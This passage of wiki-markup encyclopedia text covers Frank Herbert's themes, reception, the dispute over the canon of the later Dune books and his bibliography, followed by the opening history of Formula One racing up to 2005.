* Human possibilities and potential: Herbert offered [[Mentat]]s, the [[Bene Gesserit]] and the [[Bene Tleilax|Bene Tleilax]] as different visions of human possibilities.
* The nature of [[sanity]] and [[Mental illness|madness]]. Frank Herbert was interested in the work of [[Thomas Szasz]] and [[Anti-psychiatry]].
* The possible effects and consequences of consciousness altering chemicals, such as [[Melange|Spice]] in the Dune saga.
* How [[language]] shapes the way people [[thought|think]]. More specifically Frank Herbert was influenced by [[Alfred Korzybski]]'s [[General Semantics]]
* [[Sociobiology]]. How our instincts unconsciously influence our behaviour and society.
* [[Learning]], [[teaching]] and [[thinking]].

Frank Herbert carefully refrained from offering his readers firm answers to many of the questions he explored.

== Status and impact in science fiction ==

''Dune'' is the best-selling science fiction novel, and the ''Dune'' saga is the best-selling science fiction series, ever. In addition, ''Dune'' has received widespread critical acclaim, winning the [[Nebula Award]] in 1965 and sharing the Hugo Award in 1966. According to contemporary [[Robert A. Heinlein]], Herbert's opus was &quot;Powerful, convincing, and most ingenious.&quot;

''Dune'' is also considered a landmark novel for a number of reasons:
* Like [[Robert A. Heinlein|Robert Heinlein]]'s 1961 ''[[Stranger in a Strange Land]]'', Herbert's 1963 ''Dune'' represented a move toward a more [[literary]] approach to the science fiction novel. Before this period, it was often said that all a SF novel needed to be successful was a great technological idea. Characterization and great story took a distant second place.
*  ''Dune'' is a landmark of [[soft science fiction]]. Herbert deliberately suppressed technology in his Dune universe so he could address the future of humanity, rather than the future of Humanity's technology. ''Dune'' considers the way humans and their institutions might change over time.
* ''Dune'' was the first major ecological SF novel. Frank Herbert was a great populariser of scientific ideas; many of his fans credit Frank Herbert for introducing them to philosophy and psychology. In ''Dune'' he helped popularize the term 'ecology', and some of the field's concepts,  vividly imparting a sense of planetary awareness. Gerald Jonas explains in the [[The New York Times|New York Times]] Book Review: &quot;''So completely did Mr. Herbert work out the interactions of man and beast and geography and climate that [Dune] became the standard for a new subgenre of `ecological' science fiction.''&quot; As popularity of Dune rose, Herbert embarked on a lecture tour of college campuses, explaining how the environmental concerns of Dune's inhabitants were analogous to our own.
* Finally ''Dune'' is considered truly epic world building. [[Library Journal|The Library Journal]] reports that &quot;''Dune is to science fiction what [[The Lord of the Rings]] is to fantasy.''&quot;  Frank Herbert imagined every facet of his creation &amp;mdash; lovingly including glossaries, quotes, documents and histories &amp;mdash; to bring his universe alive to his readers, and no science fiction novel before it had such a deeply realized reality.

Herbert wrote over twenty novels after ''Dune'' that some regard as being of variable quality.   Books like ''[[The Green Brain]]'', ''[[The Santaroga Barrier]]''  and ''[[Hellstrom's Hive]]'' seemed to hark back to the days before ''Dune'' when a good technological idea was all that was needed to drive a sci-fi novel. And some fans of the ''Dune'' saga are critical of the follow-up novels as being sub-par.

Herbert never equalled the critical acclaim he received from ''Dune''. Neither his sequels to ''Dune'' nor any of his other books won a Hugo or [[Nebula Award|Nebula]], although almost all of them were New York Times' Bestsellers. Some felt that ''[[Children of Dune]]'' was almost too literary and too dark to get the recognition it may have deserved, and that ''The Dosadi Experiment'' lacked an epic quality fans had come to expect. 

To conclude, Malcolm Edwards in the ''[[The Encyclopedia of Science Fiction|Encyclopedia of Science Fiction]]'' wrote:
: &quot;''Much of [Herbert's] work makes difficult reading. His ideas were genuinely developed concepts, not merely decorative notions, but they were sometimes embodied in excessively complicated plots and articulated in prose which did not always match the level of thinking...His best novels, however, were the work of a speculative intellect with few rivals in modern [science fiction].''&quot;

== Controversies ==
Since his death the main controversy among his fans is whether the new Dune books by Brian Herbert and Kevin Anderson should be considered canonical. Some critics suggest that these books do not have the quality of the original series, especially with regard to the articulation of complex ideas about human life that was such a concern of Frank Herbert; in their own right, however, the new books have won a great deal of critical acclaim and awards.  Since Frank Herbert wrote his last novel (MAN OF TWO WORLDS) in collaboration with his son Brian, and since he also asked Brian to write further Dune novels with him (particularly the story of the Butlerian Jihad), there can be no question that these books follow the wishes and intent of the original author.  Some fringe fans have even gone so far as to suggest that Herbert and Anderson do not indeed have the notes and outlines they claim, though both authors have offered sufficient proof in several forums.  

Some fans were upset that Brian Herbert and Kevin Anderson did not use the apocryphal [[Dune Encyclopedia]] compiled by Dr. Willis E. McNelly (1920&amp;ndash;2003).  Frank Herbert himself did not accept McNelly's Encyclopedia as canonical.  In response to the controversy, Dr. McNelly issued the following statement along with Herbert and Anderson, &quot;&quot;Some fans may have noticed apparent inconsistencies between DUNE: HOUSE ATREIDES (1999) and THE DUNE ENCYCLOPEDIA (1984), compiled by Dr. Willis E. McNelly. To clear up any confusion that might exist, the authors think it is important to explain that THE DUNE ENCYCLOPEDIA reflects an alternate &quot;DUNE universe&quot; which did not necessarily represent the &quot;canon&quot; created by Frank Herbert. Frank Herbert's son, Brian Herbert, writing with Kevin J. Anderson, IS continuing to establish the canon of the DUNE universe. This is being done with the full approval of the owner of the DUNE copyright, the Herbert Limited Partnership.
&quot;While Frank Herbert himself considered THE DUNE ENCYCLOPEDIA interesting and entertaining, he did not refer to Dr. McNelly's derivative work while writing any of his DUNE novels. Likewise, in writing their DUNE novels (beginning with DUNE: HOUSE ATREIDES), Brian Herbert and Kevin J. Anderson have exclusively used, and will continue to use, Frank Herbert's original notes as well as their own imaginations, and not THE DUNE ENCYCLOPEDIA.
&quot;We hope that the millions of DUNE fans will continue to enjoy all of the works written in Frank Herbert's marvelous universe.&quot;

==Film adaptations==
A film of the novel ''[[Dune (film)|Dune]]'' was directed by [[David Lynch]] in 1984. Although panned by many fans and film critics, Frank Herbert was pleased with the movie. It has done well on video and DVD.

''Dune'' was made into a TV mini-series by the [[Sci Fi Channel (United States)]] in 2000. This was commercially successful and the Sci-Fi channel continued the Dune saga with a further mini-series in 2003 entitled ''Children of Dune'', which merges the plots of the novels ''Dune Messiah'' and ''Children of Dune''

==Bibliography==

===Fiction===

====Novels====

*''[[The Dragon in the Sea]]'': Serial publication: Astounding, November 1955 &amp;ndash; January 1956 First edition: New York: Doubleday, 1956, under the title The Dragon in the Sea. Also titled Under Pressure.
*''[[Dune (novel)|Dune]]'': Serial publication: Analog, December 1963 &amp;ndash; February 1964 (Part I, as &quot;Dune World&quot;), and January &amp;ndash; May 1965 (Parts II and III, as &quot;The Prophet of Dune&quot;).First edition: Philadelphia: Chilton Books, 1965 
*''[[The Green Brain]]'': Serial publication: Amazing, March 1965, under the title &quot;Greenslaves.&quot; First edition: New York: Ace, 1966 
*''[[Destination: Void]]'': Serial publication: Galaxy, August 1965, as &quot;Do I Wake or Dream?&quot;First edition: New York: Berkley, 1966 revised in 1978 
*''[[The Eyes of Heisenberg]]'': Serial publication: Galaxy, June &amp;ndash; August 1966, as &quot;Heisenberg's Eyes.&quot;First edition: New York: Berkley, 1966 
*''[[The Heaven Makers]]'': Serial publication: Amazing, April &amp;ndash; June 1967. First edition: New York: Avon, 1968 
*''[[The Santaroga Barrier]]'': Serial publication: Amazing, October 1967 &amp;ndash; February 1968. First edition: New York: Berkley, 1968
*''[[Dune Messiah]]'': serial publication: Galaxy, July &amp;ndash; November 1969. First edition: New York: G.P. Putnam's Sons, 1970.
*''[[Whipping Star]]'': Serial publication: Worlds of If, January &amp;ndash; April 1970. First edition: New York: G.P. Putnam's Sons, 1970. 
*''[[Soul Catcher]]'': Serial publication: none First edition: New York: G.P. Putnam's Sons, 1972. 
*''[[The Godmakers]]'': Serial publication: Astounding, May 1958, &quot;You Take the High Road,&quot; Astounding, May 1959 &quot;Operation Haystack,&quot; and Fantastic, February 1960, &quot;The Priests of Psi.&quot; First edition: New York: G.P. Putnam's Sons, 1972. 
*''[[Hellstrom's Hive]]'': Serial publication: Galaxy, November 1972 &amp;ndash; March 1973, &quot;Project 40.&quot; First edition: New York: Doubleday, 1973. 
*''[[Children of Dune]]'': Serial publication: Analog, January &amp;ndash; April 1976, &quot;Children of Dune&quot; First edition: New York: G.P. Putnam's Sons, 1976. 
*''[[The Dosadi Experiment]]'': Serial publication: Galaxy, May &amp;ndash; August 1977 &quot;The Dosadi Experiment&quot; First edition: New York: G.P. Putnam's Sons, 1977. 
*''[[The Jesus Incident]]'' (with Bill Ransom): Serial publication: Analog, February 1979 
*''[[Direct Descent]]'': Serial publication: Astounding, December 1954 &quot;Packrat Planet&quot; First edition: New York: Ace Books, 1980. 
*''[[God Emperor of Dune]]'': Serial publication: none First edition: New York: G.P. Putnam's Sons, 1981. 
*''[[The White Plague]]'': First edition: New York: G.P. Putnam's Sons, 1982. 
*''[[The Lazarus Effect]]'' (with Bill Ransom): First edition: New York: G.P. Putnam's Sons, 1983. 
*''[[Heretics of Dune]]'': First edition: New York: G.P. Putnam's Sons, 1984. 
*''[[Chapterhouse: Dune]]'': First edition: New York: G.P. Putnam's Sons, 1985. 
*''[[Man of Two Worlds]]'' (with Brian Herbert): First edition: New York: G.P. Putnam's Sons, 1986. 
*''[[The Ascension Factor]]'' (with Bill Ransom): First edition: New York: G.P. Putnam's Sons, 1988.

====Short fiction collections====
*''The Worlds of Frank Herbert'': First edition: New York: Ace, 1971 
**Contains: &quot;The Tactful Saboteur,&quot; &quot;By the Book,&quot; &quot;Committee of the Whole,&quot; &quot;Mating Call,&quot; &quot;Escape Felicity,&quot; &quot;The GM Effect,&quot; &quot;The Featherbedders,&quot; &quot;Old Rambling House,&quot; and &quot;A-W-F Unlimited.&quot;
*''The Book of Frank Herbert'': First edition: New York: DAW Books, 1973 (paper) 
**Contains: &quot;Seed Stock,&quot; &quot;The Nothing,&quot; &quot;Rat Race,&quot; &quot;Gambling Device,&quot; &quot; Looking for Something,&quot; &quot;The Gone Dogs,&quot; &quot;Passage for Piano,&quot; &quot;Encounter in a Lonely Place,&quot; &quot;Operation Syndrome,&quot; and &quot;Occupation Force.&quot;
*''The Best of Frank Herbert'', also published as:''The Best of Frank Herbert 1952 - 1964'' and ''The Best of Frank Herbert 1965 - 1970''
**Contains: &quot;Looking for something?,&quot; &quot;Nightmare Blues,&quot; &quot;Dragon in the Sea (extract),&quot; &quot;Cease Fire,&quot; &quot;&quot;Egg and Ashes,&quot; &quot;Marie Celeste Move.&quot;
** &quot;Committee of the Whole,&quot; &quot;Dune (extract),&quot; &quot;By the book,&quot; &quot;The Primitives,&quot; &quot;The Heaven Makers (extract),&quot; &quot;Seed Stock.&quot;
*''The Priests of Psi''
**Contains: &quot;Try to Remember,&quot; &quot;Old Rambling House,&quot; &quot;Murder Will In,&quot; &quot;Mindfield,&quot; &quot;The Priests of Psi.&quot;
*''Eye'', (Jim Burns (Illustrator)):  First edition: New York: Berkley, 1985.
**Contains: &quot;Rat Race,&quot; &quot;Dragon in the Sea,&quot; &quot;Cease Fire,&quot; &quot;A Matter of Traces,&quot; &quot;Try to Remember,&quot; 'The Tactful Saboteur,&quot; &quot;The Road to Dune,&quot; &quot;By the Book,&quot; Seed Stock,&quot; Murder Will In,&quot; &quot;Passage for Piano,&quot; &quot;Death of a City,&quot; and &quot;Frogs and Scientists.&quot;

====Short fiction====
*''Survival of the Cunning'' Esquire, March 1945. 
*''Yellow Fire'' Alaska Life (Alaska Territorial Magazine), June 1947. 
*''Looking for Something?'' Startling Stories, April 1952.
*''Operation Syndrome'' Astounding, June 1954. also in T.E. Dikty's Best Science Fiction Stories and Novels, 1955 series
*''The Gone Dogs'' Amazing, November 1954. 
*''Packrat Planet'' Astounding, December 1954. 
*''Rat Race'' Astounding, July 1955. 
*''Occupation Force'' Fantastic, August 1955. 
*''The Nothing'' Fantastic Universe, January 1956. 
*''Cease Fire'' Astounding, January 1956. 
*''Old Rambling House'' Galaxy, April 1958. 
*''You Take the High Road'' Astounding, May 1958. 
*''A Matter of Traces'' Fantastic Universe, November 1958. 
*''Missing Link'' Astounding, February 1959. also in Author's Choice Ed. Harry Harrison, New York: Berkley, 1968 
*''Operation Haystack'' Astounding, May 1959.
*''The Priests of Psi'' Fantastic, February 1960. 
*''Egg and Ashes'' Worlds of If, November 1960. 
*''A-W-F Unlimited'' Galaxy, June 1961. 
*''Try to Remember'' Amazing, October 1961. 
*''Mating Call'' Galaxy, October 1961. 
*''Mindfield'' Amazing, March 1962. 
*''The Mary Celeste Move'' Analog, October 1964. 
*''[[The Tactful Saboteur]]'' Galaxy, October 1964. 
*''Greenslaves'' Amazing, March 1965. 
*''Committee of the Whole'' Galaxy, April 1965. 
*''The GM Effect'' Analog, June 1965. 
*''Do I Wake or Dream?'' Galaxy, August 1965. 
*''The Primitives'' Galaxy, April 1966.
*''Escape Felicity'' Analog, June 1966.
*''By the Book'' Analog, August 1966. 
*''The Featherbedders'' Analog, August 1967. 
*''The Mind Bomb'' Worlds of If, October 1969. 
*''Seed Stock&quot;'' Analog, April 1970. 
*''Murder Will In'' The Magazine of Fantasy and Science Fiction, May 1970. 
*''Project 40'' (three installments) Galaxy, November 1972 &amp;ndash; March 1973. also in Five Fates by Keith Laumer, Poul Anderson, Frank Herbert, Gordon Dickson and Harlan Ellson. New York: Doubleday, 1970 
*''Encounter in a Lonely Place'' in The Book of Frank Herbert New York: DAW Books, 1973.
*''Gambling Device'' in The Book of Frank Herbert New York: DAW Books, 1973.
*''Passage for Piano'' in The Book of Frank Herbert New York: DAW Books, 1973. 
*''The Death of a City'' in Future City, ed. Roger Elwood. Trident Press: New York, 1973. 
*''Come to the Party'' with F.M Busby, Analog, December 1978. 
*''Songs of a Sentient Flute'' Analog, February 1979.
*''Feathered Pigs'' Destinies, Oct/Dec 1979.
*''The Road to Dune'' in Eye New York: Berkley 1985
*''Frogs and Scientists'' in Eye New York: Berkley 1985

===Nonfiction===

'''Non Fiction Books:'''

*''New World or No World'' (editor) First edition: New York: Ace Books, 1970 (paper) 
*''Threshold: The Blue Angels Experience'' First edition: New York: Ballantine, 1973 (paper) (companion to documentary of same name about [[Blue Angels]] flight team)
*''Without Me, You're Nothing (with Max Barnard)'' First edition: New York: Pocket Books, 1981 (trade paper)

'''Essays and introductions'''

*''Introduction to Saving Worlds,'' by Roger Elwood and Virginia Kidd. New York: Doubleday, 1973 (reissed by Bantam Books under the title The Wounded Planet) 
*''Introduction: Tomorrow's Alternatives?'' in Frontiers 1: Tomorrow's Alterntives, ed. Roger Elwood. New York: Macmillan, 1973.
*''Introduction to Tomorrow and Tomorrow and Tomorrow''. Heitz, Herbert, Joor McGee. New York: Holt, Rinehart and Winston, 1973. 
*''Listening to the Left Hand.'' Harper's Magazine, December 1973, pg. 92&amp;ndash;100 
*''Science Fiction and a World Crisis'' in Science Fiction: Today and Tomorrow, ed. Reginald Bretnor. New York: Harper and Row, 1974. 
*''Men on Other Planets'' in The Craft of Science Fiction, ed. Reginald Bretnor. New York: Harper and Row, 1976. 
*''The Sky is Going to Fall'' in Seriatim: The Journal of Ecotopia, No. 2, Spring 1977 pg. 88&amp;ndash;89. (slightly different article appeared in The San Francisco Examiner &quot;Overview&quot; column, July 4, 1976.) 
*''The ConSentiency and How it Got That Way'' Galaxy, May 1977 (may be considered as a fiction story and therefore in the &quot;Original Single Story&quot; section)
*''[http://www.dunenovels.com/news/genesis.html Dune Genesis]'' Omni, July 1980

'''Significant Newspaper Articles'''

*''Flying Saucers: Fact or Farce?'' San Francisco Sunday Examiner &amp; Chronicle, people supplement, October 20, 1963. 
*''2068 A.D.'' San Francisco Sunday Examiner &amp; Chronicle, California Living section, July 28, 1968. 
*''&quot;We're Losing the Smog War&quot; (part 1)''. San Francisco Sunday Examiner &amp; Chronicle, California Living section, December 1, 1968. 
*''&quot;Lying to Ourselves About Air&quot; (part 2)''. San Francisco Sunday Examiner &amp; Chronicle, California Living section, December 8, 1968. 
*''You Can Go Home Again.'' San Francisco Sunday Examiner &amp; Chronicle, California Living section, March 29, 1970. (Refers to some of Herbert's childhood experiences in the Northwest)

===Other publications===

'''Poetry'''

*''Carthage: Reflections of a Martian,'' in Mars, We Love You, ed. Jane Hipolito and Willis E, McNelly. New York: Doubleday, 1971. 

'''Some Audio Recordings'''

*''Dune: The Banquet Scene'' New York: Caedmon Records, 1977. 
*''Sandworms of Dune'' New York: Caedmon Records, 1978.

'''Interviews'''
*''[http://members.lycos.co.uk/Fenrir/ctdinterviews.htm Interviews with Frank Herbert] 1973, 1977
*''[http://www.motherearthnews.com/library/1981_May_June/The_Plowboy_Interview__Frank_Herbert The Plowboy interview Frank Herbert] The mother Earth news May 1981

===Limited bibliography by universe===
Dune universe:
{{main|Dune universe}}

ConSentiency universe:
{{main|ConSentiency}}

*''[[The Tactful Saboteur]]''
*''[[Whipping Star]]'' 
*''[[The Dosadi Experiment]]'' 

Destination: Void universe:
*''[[Destination: Void]]'' 
*''[[The Jesus Incident]]'' 
*''[[The Lazarus Effect]]'' 
*''[[The Ascension Factor]]''

==Books about Frank Herbert and Dune==
*''Dreamer of Dune : The Biography of Frank Herbert'', by Brian Herbert Serial publication: none First edition: New York: Tor Books, 2003.
*''Frank Herbert'', by Timothy O'Reilly Serial publication: none First edition: New York: Frederick Ungar, 1980. 
** [http://tim.oreilly.com/sci-fi/herbert/index.html Online version of this out of print book]
*''[[The Dune Encyclopedia]]'', compiled and edited by Dr. Willis E, McNelly Serial publication: none First edition: New York: Berkley Publishing Group, 1984 (trade paper). 
*''The Maker of Dune'', edited by Timothy O'Reilly Serial publication: none First edition: New York: Berkley Publishing Group, 1987 (trade paper).
*''Frank Herbert'', by William Touponce Serial publication: none First edition: Boston: Twayne Publishers, 1988 ISBN 0-8057-7514-5.

==External links ==
{{wikiquote}}
* [http://www.dunenovels.com Official website for Brian Herbert and Kevin Anderson]
* [http://www.caveofbirds.com Best source for all Frank Herbert information, novels and short stories (much Wikipedia info from this web site)]
* [http://web.archive.org/web/20050324094830/http://www.dreamersofdune.com/ Cached version of a website and messageboard about Dune and Frank Herbert]
* [http://www.houseatreides.com/ Messageboard on Dune and Frank Herbert]
* [http://www.usul.net One of the oldest sites]
* [http://www.ibdof.com/IBDOF-author-booklist.php?author=50 Internet Book Database of Fiction bibliography]
* [http://groups.msn.com/TheLandsraad/foldspace1.msnw Landsraad] - the msn coummunity on Dune and Frank Herbert. 
* [http://www.jitterbug.com/origins/dune.html Article on the inspirations for Dune]
* [http://baheyeldin.com/literature/arabic-and-islamic-themes-in-frank-herberts-dune.html Arabic and Islamic themes in Frank Herbert's Dune novels]
* {{isfdb name|id=Frank_Herbert|name=Frank Herbert}}


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[[Category:University of Washington alumni]]

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'''Formula One''', abbreviated to '''F1''' and also known as [[Grand Prix motor racing|Grand Prix racing]], is the highest class of single-seat [[open-wheel]] [[formula racing|formula]] [[auto racing]]. It consists of a series of races, known as [[List of Formula One Grands Prix|Grands Prix]], held on purpose-built [[List of Formula One circuits|circuits]] or closed city streets, whose results determine two annual [[List of Formula One World Champions|World Championships]], one for [[List of Formula One World Drivers' Champions|drivers]] and one for [[List of Formula One World Constructors' Champions|constructors]]. The cars race at speeds often in excess of 320 km/h (200 mph), equipped, [[as of 2005]], with [[Normally-aspirated]] [[V10]] [[engine|engines]] that produce  around 950 [[Horsepower#Brake horsepower (bhp)|bhp]] at just over 19000 [[rpm]]. However, the formula has seen changes and evolutions through the history of the sport. The powerplants used have ranged from [[Normally-aspirated]] [[Straight-4]] engines to [[Supercharged]] [[V16]] engines, the levels of displacement have ranged from 1.5 litre to 4.5 litre, and the maximum reached power throughput has been around 1200 bhp. In [[2006]] a new Formula is about to be implemented, consisting of [[Normally-aspirated]] [[V8]] [[engines]] with a displacement of 2.4 litres, the expected throughput is in the range of 750 [[Horsepower#Brake horsepower (bhp)|bhp]] at 20000 [[rpm]], furthermore a special emphasis is put on [[electronics]], [[aerodynamics]], [[suspension]] and [[tyres]] (tires).

[[Europe]] is Formula One's traditional centre and remains its leading market; however, Grands Prix have been held all over the world, and with new races in [[Bahrain]], [[People's Republic of China|China]], [[Federation of Malaysia|Malaysia]] and [[Turkey]], its scope is continually expanding. As the world's most expensive [[sport]], its economic impact is significant, and its financial and political battles are widely observed. Its high profile and popularity makes it an obvious merchandising environment which leads to very high investments from sponsors translating into extremely high monetary budgets for the [[List of Formula One constructors|Constructor Teams]], however, in recent years several teams have gone bankrupt.

The sport is regulated by the [[Fédération Internationale de l'Automobile]], with its headquarters in [[Place de la Concorde]], [[Paris]]. Its present President is [[Max Mosley]], and is generally promoted and controlled by the official commercial rights holder [[Bernie Ecclestone]] through a variety of corporate entities.

== History ==
{{Main|History of Formula One}}

The Formula One series has its roots in the European [[Grand Prix motor racing]] (''q.v.'' for pre-1947 history) of the 1920s and 1930s. A number of Grand Prix racing organisations laid out rules for a World Championship before [[World War II]], but due to the suspension of racing during the war, the World Drivers Championship was not formalised until 1947, and was first run in 1950. A championship for constructors followed in 1958. Non-championship Formula One races were held for many years, but due to the rising cost of competition, the last of these occurred in the early 1980s.

The sport's title, Formula One, indicates that it is intended to be the most advanced and most competitive of the many [[formula racing|racing formulae]].

=== Formative years ===
[[Image:Afetta 159.jpg|thumb|200px|Juan Manuel Fangio drove this Alfa-Romeo 159 to the title in 1951.]]
The inaugural Formula One World Championship was won by [[Italy|Italian]] [[Giuseppe Farina]] in his [[Alfa Romeo]] in 1950, barely defeating his [[Argentina|Argentine]] teammate [[Juan Manuel Fangio]]. However, Fangio won the title in 1951 and four more in the next six years, his streak interrupted by two-time champion [[Alberto Ascari]] of [[Scuderia Ferrari|Ferrari]]. Though [[United Kingdom|Britain's]] [[Stirling Moss]] was able to compete regularly, he was never able to win the World Championship. Fangio is remembered for dominating Formula One's first decade and has long been considered the &quot;grand master&quot; of Formula One.

The first major technological development, [[Cooper Car Company|Cooper's]] re-introduction of mid-engined cars (following [[Porsche]]'s pioneering and all-conquering [[Auto Union|Auto Unions]] of the 1930s), which evolved from the company's successful [[Formula 3]] designs, occurred in the 1950s. [[Jack Brabham]], champion in 1959 and 1960, soon proved the new design's superiority. By 1961, all competitors had switched to mid-engined cars.

The first [[United Kingdom|British]] World Champion was [[Mike Hawthorn]], who drove a Ferrari to the title in 1958. However, when [[Colin Chapman]] entered F1 as a chassis designer and later founder of [[Lotus (car)|Lotus]], [[British racing green]] came to dominate the field for the next decade. Between [[Jim Clark]], [[Jackie Stewart]], [[Jack Brabham]], [[Graham Hill]], and [[Denny Hulme]], British teams and [[Commonwealth of Nations|Commonwealth]] drivers won twelve world championships between 1962 and 1973.

In 1962, Lotus introduced a car with an aluminium sheet monocoque chassis instead of the traditional spaceframe design. This proved to be the greatest technological breakthrough since the introduction of mid-engined cars. In 1968, Lotus painted [[Imperial Tobacco]] livery on their cars, thus introducing [[sponsor|sponsorship]] to the sport.

Aerodynamic [[downforce]] slowly gained importance in car design from the appearance of [[aerofoil]]s in the late 1960s. In the late 1970s Lotus introduced [[ground effect]] aerodynamics that provided enormous downforce and greatly increased cornering speeds (though the concept had previously been tested by [[Jim Hall]]'s [[Chaparral (car)|Chaparral]] [[IndyCar]] team in the 1960s).

The formation of the [[Federation Internationale du Sport Automobile]] in 1979 set off the [[FISA-FOCA War]], during which FISA and its president [[Jean Marie Balestre]] clashed repeatedly with the [[Formula One Constructors Association]] over television profits and technical regulations.

=== Rise in popularity ===
1981 saw the signing of the first [[Concorde Agreement]], a contract which bound the teams to compete until its expiration and assured them a share of the profits from the sale of television rights, bringing an end to the [[FISA-FOCA War]] and contributing to [[Bernie Ecclestone]]'s eventual complete financial control of the sport, after much negotiation.

The [[FIA]] imposed a ban on [[ground effect]] aerodynamics in [[1983 Formula One season|1983]]. By then, however, [[turbocharger|turbocharged]] engines, which [[Renault Sport|Renault]] had pioneered in 1977, were producing over 700&amp;nbsp;[[bhp]] (520&amp;nbsp;[[kilowatt|kW]]) and were essential to be competitive. In later years, notably 1987, the Formula One turbo cars produced in excess of 1,000 bhp in racing trim (and perhaps as much as 1,250 bhp in qualifying trim).  These cars were the most powerful [[open-wheel]] circuit racing cars ever.  To reduce engine power output and thus speeds, the FIA limited fuel tank capacity in 1984 and [[boost]] pressures in 1988 before banning turbocharged engines in 1989.

In the early 1990s, teams started introducing electronic driver aids such as [[Suspension_%28vehicle%29#Passive.2C_Semi_Active.2C_and_Active_Suspensions|active suspension]], [[Gearbox#Semi-automatic_transmission|semi-automatic gearbox]]es and [[traction control]]. Some were borrowed from contemporary road cars. Some, like active [[suspension (vehicle)|suspension]], were primarily developed for the track and later made their way to the showroom. The FIA, due to complaints that technology was determining the outcome of races more than driver skill, banned many such aids in 1994. However, many observers felt that the ban on driver aids was a ban in name only as the FIA did not have the technology or the methods to eliminate these features from competition.

The teams signed a second Concorde Agreement in 1992 and a third in 1997, which is due to expire on the last day of 2007.

On the track, the [[Team McLaren|McLaren]] and [[WilliamsF1|Williams]] teams dominated the 1980s and 1990s. [[Honda]] and McLaren dominated much of the 1980s, whilst [[Renault]]-powered Williams drivers won several world championships in the mid 1990s, with a McLaren comeback in the late 1990s. The rivalry between racing legends [[Ayrton Senna|Senna]] and [[Alain Prost|Prost]] became F1's central focus in [[1988 Formula One season|1988]], and continued until Prost retired at the end of 1993. Tragically, [[Ayrton Senna]] died in a crash at the [[1994 San Marino Grand Prix]] having taken over Prost's lead drive at Williams that year. The [[FIA]] vowed to improve the sport's safety standards; since that weekend, no driver has died on the track during a race.

Drivers from McLaren, Williams, [[Renault F1|Renault]] (formerly [[Benetton Formula|Benetton]]) and [[Scuderia Ferrari|Ferrari]], dubbed the &quot;Big Four&quot;, have won every World Championship from 1984 to the present day. Due to the technological advances of the 1990s, the cost of competing in Formula One rose dramatically. This increased financial burden, combined with four teams' dominance (largely funded by big car manufacturers such as [[DaimlerChrysler]]), caused the poorer independent teams to struggle not only to remain competitive, but to stay in business. Financial troubles forced several teams to withdraw. Since 1990, 28 teams have pulled out of Formula One. This has prompted former [[Jordan Grand Prix|Jordan]] owner [[Eddie Jordan]] to say that the days of competitive privateers are over.{{ref|EJ_privateers}}

=== Modern F1 ===
[[Image:F1 yellow flag and SC sign.jpg|thumb|200px|Safety is of paramount concern in modern F1.]]
[[Image:F1 logo.png|thumb|130px|The official Formula One logo is part of the [[Formula One Administration]]'s efforts to give F1 a corporate identity.]]
Many records have been broken in the 21st century especially in the hands of German [[Michael Schumacher]] and recently the young Spaniard [[Fernando Alonso]]. The early 2000s were dominated by [[Michael Schumacher]] and a resurgent [[Ferrari]]. In 2001, Schumacher set the new record for the most Grands Prix ever won; the earlier record holder was [[Alain Prost]], with 51 wins to his name. In 2002, Schumacher also set a new record by claiming the championship earlier in the season than any previous driver by winning the French Grand Prix in [[July]] that year.{{ref|Schumacher_record}} In 2003, Schumacher claimed his sixth championship title, beating the earlier record-holder, [[Juan Manuel Fangio]] with five championships. His record now stands at 7 championships. In 2003 [[Fernando Alonso]] became the youngest ever pole sitter by qualifying first at [[2003 Malaysian Grand Prix|Malaysia]]. Later that year he became the youngest ever winner of a Grand Prix when he took the chequered flag in [[2003 Hungarian Grand Prix|Hungary]].

Despite Ferrari's dominance, [[Kimi Räikkönen]] driving for [[McLaren]] had a theoretical chance of claiming the championship in 2003 right until the end of the season at the [[Japanese Grand Prix]]. [[Juan Pablo Montoya]] driving for [[Williams]] also came close in 2003. Ferrari's championship streak finally came to an end on [[September 25]], [[2005]] when [[Fernando Alonso]] clinched the 2005 championship with a third place finish at the Brazilian Grand Prix to become the youngest champion to date, replacing previous record holder [[Emerson Fittipaldi]] of Brazil.  Michael Schumacher had been world champion for more than 1,800 days.

In the rulebook, several driver aids returned due in part to developments that allowed teams to evade the FIA &quot;restrictions&quot;. Meanwhile, several changes to the rules were made in a bid to improve the on-track action and cut spiralling costs. Most notably, the qualifying format has changed several times since 2003. Another new regulation made drivers start each race with the same level of fuel they had during qualifying, introducing a new tactical element to each team's strategy. Other new restrictions included one making it mandatory for each engine to last two races; a driver that had to have his engine replaced would be penalised by starting at a lower position in the starting grid of the race. In 2005, drivers were no longer allowed to change tires during the race, unless the tires are deemed to be dangerously worn.

The first few years of the 21st century in F1 also saw some controversies and scandals. At the [[Austrian Grand Prix]] in 2002, [[Rubens Barrichello]], Schumacher's teammate at Ferrari who was leading the race, was ordered to allow Schumacher to overtake him. The ensuing scandal saw Ferrari slapped with a fine by the FIA, who also banned any further use of team orders in the new rules and regulations. {{ref|team_orders}} In 2005, the [[United States Grand Prix]] at [[Indianapolis]] saw only three out of ten teams race in a bizarre mishap when it turned out that the [[Michelin]] tires for the other seven teams could not be safely used on the surface of the track, causing them to pull out {{ref|tyre_scandal}} when the FIA refused a change for safety reasons, insisting on keeping to the letter of the regulations.

During the early 2000s, Bernie Ecclestone's [[Formula One Administration]] created a number of trademarks, an official logo, and an official website for the sport in an attempt to give it a corporate identity. Ecclestone experimented with a digital television package (known colloquially as [[Bernievision]]), which was launched at the 1996 German Grand Prix in cooperation with German digital television service &quot;DF1&quot;. Bernievision offered the viewer several simultaneous feeds (such as super signal, on-board, top of field, backfield, highlights, pit lane, timing), which were produced with cameras, technical equipment and staff different from those used for the conventional coverage. It was introduced in many countries over the years, but was shut down after the 2002 season for financial reasons.

The year 2005 marks the end of an era, the end of the 10 cylinder powerplants which saw both normally aspirated and supercharged engines being deployed in F1 cars for more than two decades. At the end the statistics show a raw supremacy of the [[Renault F1|Renault]] [[engine|engines]] having clinched several championships as engine suppliers and their first ever Drivers and Constructors Championships in a 100% Renault car in 2005. [[Renault F1|Renault]] was innovative during this period producing out of the standard designs as the 111º 10 cylinder engine for the 2003 RS23. but not only Renault was successful, [[Ferrari]] and specially [[Honda]] enjoyed great success with multiple championships with several teams, most notable [[Team McLaren|McLaren]] and by a lesser extent [[WilliamsF1|Williams]] with whom [[Honda]] engines reached the highest levels of power in F1 history in the late 80's exceeding, in some circumstances, the 1200 bhp limit in qualifying. Other Championship winning engines are those from [[Mercedes Benz]], [[BMW]], [[Porsche]] and [[Cosworth|Ford Cosworth]].

